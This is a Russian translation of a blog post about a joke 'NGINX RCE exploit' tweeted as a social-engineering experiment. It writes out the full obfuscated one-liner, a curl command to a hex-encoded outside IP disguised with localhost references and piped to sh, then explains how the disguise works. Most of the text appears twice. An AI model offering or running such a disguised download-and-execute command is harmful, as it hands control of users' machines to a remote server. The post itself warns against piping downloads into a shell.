Прим. перев.: Автор оригинальной заметки, опубликованной 1 июня, решил провести эксперимент в среде интересующихся информационной безопасностью. Для этого он подготовил поддельный эксплойт к нераскрытой уязвимости в веб-сервере и разместил его в своём твиттере. Его предположения — быть мгновенно разоблачённым специалистами, которые увидят очевидный обман в коде, — не просто не оправдались… Они превзошли все ожидания, причём в обратную сторону: твит получил огромную поддержку от многочисленных людей, которые не стали проверять его содержимое.
TL;DR: ни в коем случае не используйте конвейеризацию файлов в sh или bash. Это отличный способ утратить контроль над компьютером.
Хочу поделиться с вами небольшой историей о шуточном PoC-эксплойте, который был создан 31 мая. Он появился оперативно в ответ на новость от Alisa Esage Шевченко, члена Zero Day Initiative (ZDI), о том, что скоро будет раскрыта информация об уязвимости в NGINX, приводящей к RCE (удаленному исполнению кода). Поскольку NGINX лежит в основе многих веб-сайтов, новость должна была произвести эффект разорвавшейся бомбы. Но из-за задержек в процессе «ответственного раскрытия» информации подробности произошедшего не были известны — такова стандартная процедура ZDI.
Твит о раскрытии уязвимости в NGINX
Закончив работу над новой техникой обфускации в curl, я процитировал оригинальный твит и «слил рабочий PoC», состоящий из одной строки кода, якобы использующей обнаруженную уязвимость. Конечно, это была полная ерунда. Я полагал, что меня сразу выведут на чистую воду, и что в лучшем случае я получу пару ретвитов (ну и ладно).
Твит с поддельным эксплойтом
Однако я не мог представить себе того, что произошло дальше. Популярность моего твита взлетела до небес. Удивительно, но на данный момент (15:00 МСК 1 июня) до сих пор мало кто осознал, что это фальшивка. Многие ретвитят его вообще без проверки (не говоря уже о том, чтобы полюбоваться прелестной ASCII-графикой, которую он выводит).
Только посмотрите, какая красота!
Хоть все эти циклы и цвета замечательны, понятное дело: чтобы их увидеть, люди выполняли код на своей машине. К счастью, браузеры работают аналогично, и в сочетании с фактом, что проблемы с законом мне вовсе не нужны, код, запрятанный в моем сайте, всего лишь делал вызовы echo, не пытаясь устанавливать или выполнять какой бы то ни было дополнительный код.
Небольшое отступление: netspooky, dnz, я и другие парни из команды Thugcrowd уже некоторое время играем с различными способами обфускации curl-команд, потому что это прикольно… и мы гики. netspooky и dnz обнаружили несколько новых способов, показавшихся мне чрезвычайно перспективными. Я присоединился к веселью и попробовал добавить IP-десятичные преобразования к набору уловок. Оказалось, что IP также можно конвертировать в шестнадцатеричный формат. Более того, curl и большинство других NIX-инструментов с удовольствием «кушают» шестнадцатеричные IP! Таким образом, требовалось просто создать убедительную и безопасно выглядящую командную строку. В конечном итоге я остановился на этой:
Безопасность и привычность были основной частью этого эксперимента. Думаю, именно они привели к его успеху. Командная строка явно подразумевала безопасность, ссылаясь на «127.0.0.1» (всем известный localhost). Считается, что localhost безопасен, а данные на нем никогда не покидают ваш компьютер.
Привычность была вторым ключевым S.E.E.-компонентом эксперимента. Поскольку целевая аудитория преимущественно состояла из людей, знакомых с основами компьютерной безопасности, важно было создать такой код, чтобы его части казались знакомыми и привычными (а потому безопасными). Заимствование элементов старых эксплойт-концепций и их комбинирование необычным способом оказалось весьма успешным.
Ниже приведен подробный разбор однострочника. Все в этом списке носит косметический характер, а для его реальной работы практически ничего не требуется.
Какие же компоненты действительно необходимы? Это
На этом заканчиваются расшифровка однострочного скрипта и обсуждение аспектов «социо-электронной инженерии» (затейливого фишинга).
Поскольку подавляющее большинство моих подписчиков — инфобезопасники/хакеры, я решил сделать веб-сервер чуть более устойчивым к проявлениям «интереса» с их стороны просто для того, чтобы ребятам было чем заняться (да и настраивать его было прикольно). Я не собираюсь здесь перечислять все ловушки, поскольку эксперимент все еще продолжается, но вот несколько вещей, которые сервер делает:
Небольшая часть антимер
В данном случае моей единственной целью было освоение некоторых возможностей Apache — в частности, клевых правил перенаправления запросов, — и я подумал: а почему бы и нет?
Подписывайтесь на @alisaesage в Твиттере и следите за замечательной работой ZDI по устранению вполне реальных уязвимостей и возможностей для эксплойтов в NGINX. Их работа всегда завораживала меня и я благодарен Алисе за терпение, связанное со всеми упоминаниями и уведомлениями, вызванными моим дурацким твитом. К счастью, он принес и некоторую пользу: помог повысить осведомленность об уязвимостях NGINX, а также о проблемах, вызываемых злоупотреблением curl'ом.
TL;DR: ни в коем случае не используйте конвейеризацию файлов в sh или bash. Это отличный способ утратить контроль над компьютером.
Хочу поделиться с вами небольшой историей о шуточном PoC-эксплойте, который был создан 31 мая. Он появился оперативно в ответ на новость от Alisa Esage Шевченко, члена Zero Day Initiative (ZDI), о том, что скоро будет раскрыта информация об уязвимости в NGINX, приводящей к RCE (удаленному исполнению кода). Поскольку NGINX лежит в основе многих веб-сайтов, новость должна была произвести эффект разорвавшейся бомбы. Но из-за задержек в процессе «ответственного раскрытия» информации подробности произошедшего не были известны — такова стандартная процедура ZDI.
Твит о раскрытии уязвимости в NGINX
Закончив работу над новой техникой обфускации в curl, я процитировал оригинальный твит и «слил рабочий PoC», состоящий из одной строки кода, якобы использующей обнаруженную уязвимость. Конечно, это была полная ерунда. Я полагал, что меня сразу выведут на чистую воду, и что в лучшем случае я получу пару ретвитов (ну и ладно).
Твит с поддельным эксплойтом
Однако я не мог представить себе того, что произошло дальше. Популярность моего твита взлетела до небес. Удивительно, но на данный момент (15:00 МСК 1 июня) до сих пор мало кто осознал, что это фальшивка. Многие ретвитят его вообще без проверки (не говоря уже о том, чтобы полюбоваться прелестной ASCII-графикой, которую он выводит).
Только посмотрите, какая красота!
Хоть все эти циклы и цвета замечательны, понятное дело: чтобы их увидеть, люди выполняли код на своей машине. К счастью, браузеры работают аналогично, и в сочетании с фактом, что проблемы с законом мне вовсе не нужны, код, запрятанный в моем сайте, всего лишь делал вызовы echo, не пытаясь устанавливать или выполнять какой бы то ни было дополнительный код.
Небольшое отступление: netspooky, dnz, я и другие парни из команды Thugcrowd уже некоторое время играем с различными способами обфускации curl-команд, потому что это прикольно… и мы гики. netspooky и dnz обнаружили несколько новых способов, показавшихся мне чрезвычайно перспективными. Я присоединился к веселью и попробовал добавить IP-десятичные преобразования к набору уловок. Оказалось, что IP также можно конвертировать в шестнадцатеричный формат. Более того, curl и большинство других NIX-инструментов с удовольствием «кушают» шестнадцатеричные IP! Таким образом, требовалось просто создать убедительную и безопасно выглядящую командную строку. В конечном итоге я остановился на этой:
curl -gsS https://127.0.0.1-OR-VICTIM-SERVER:443/../../../%00/nginx-handler?/usr/lib/nginx/modules/ngx_stream_module.so:127.0.0.1:80:/bin/sh%00\<'protocol:TCP' -O 0x0238f06a#PLToffset |sh; nc /dev/tcp/localhostСоцио-электронная инженерия (S.E.E.) — больше, чем просто фишинг
Безопасность и привычность были основной частью этого эксперимента. Думаю, именно они привели к его успеху. Командная строка явно подразумевала безопасность, ссылаясь на «127.0.0.1» (всем известный localhost). Считается, что localhost безопасен, а данные на нем никогда не покидают ваш компьютер.
Привычность была вторым ключевым S.E.E.-компонентом эксперимента. Поскольку целевая аудитория преимущественно состояла из людей, знакомых с основами компьютерной безопасности, важно было создать такой код, чтобы его части казались знакомыми и привычными (а потому безопасными). Заимствование элементов старых эксплойт-концепций и их комбинирование необычным способом оказалось весьма успешным.
Ниже приведен подробный разбор однострочника. Все в этом списке носит косметический характер, а для его реальной работы практически ничего не требуется.
Какие же компоненты действительно необходимы? Это
-gsS, -O 0x0238f06a, |sh и сам веб-сервер. Веб-сервер не содержал никаких злонамеренных инструкций, а просто передавал ASCII-графику с помощью команд echo в скрипте, содержащемся в index.html. Когда пользователь вводил строку с |sh в середине, index.html загружался и выполнялся. К счастью, хранители веб-сервера не имели злых намерений.-
../../../%00— изображает выход за пределы директории; -
ngx_stream_module.so— путь к случайному модулю NGINX; -
/bin/sh%00\<'protocol:TCP'— мы якобы запускаем/bin/shна целевой машине и перенаправляем вывод в TCP-канал; -
-O 0x0238f06a#PLToffset— секретный ингредиент, дополненный#PLToffset, чтобы выглядеть как смещение памяти, каким-то образом содержащееся в PLT; -
|sh;— еще один важный фрагмент. Нам было нужно перенаправить вывод в sh/bash, чтобы выполнить код, поступающий с атакующего веб-сервера, расположенного по адресу0x0238f06a(2.56.240.x); -
nc /dev/tcp/localhost— пустышка, в которой netcat ссылается на/dev/tcp/localhost, чтобы все опять выглядело безопасно. На самом же деле, ничего не делает и включен в строку для красоты.
На этом заканчиваются расшифровка однострочного скрипта и обсуждение аспектов «социо-электронной инженерии» (затейливого фишинга).
Конфигурация веб-сервера и меры противодействия
Поскольку подавляющее большинство моих подписчиков — инфобезопасники/хакеры, я решил сделать веб-сервер чуть более устойчивым к проявлениям «интереса» с их стороны просто для того, чтобы ребятам было чем заняться (да и настраивать его было прикольно). Я не собираюсь здесь перечислять все ловушки, поскольку эксперимент все еще продолжается, но вот несколько вещей, которые сервер делает:
- Активно отслеживает попытки распространения в определенных социальных сетях и подставляет различные миниатюры предпросмотра, чтобы побудить пользователя перейти по ссылке.
- Перенаправляет Chrome/Mozilla/Safari/и т. д. на промо-ролик Thugcrowd вместо того, чтобы показать скрипт shell.
- Следит за ЯВНЫМИ признаками вторжения/грубого взлома, после чего начинает перенаправлять запросы на серверы АНБ (ха!).
- Устанавливает троян, а также BIOS rootkit на все компьютеры, пользователи которых посещают хост с обычного браузера (шутка!).
Небольшая часть антимер
В данном случае моей единственной целью было освоение некоторых возможностей Apache — в частности, клевых правил перенаправления запросов, — и я подумал: а почему бы и нет?
Эксплойт NGINX (настоящий!)
Подписывайтесь на @alisaesage в Твиттере и следите за замечательной работой ZDI по устранению вполне реальных уязвимостей и возможностей для эксплойтов в NGINX. Их работа всегда завораживала меня и я благодарен Алисе за терпение, связанное со всеми упоминаниями и уведомлениями, вызванными моим дурацким твитом. К счастью, он принес и некоторую пользу: помог повысить осведомленность об уязвимостях NGINX, а также о проблемах, вызываемых злоупотреблением curl'ом.
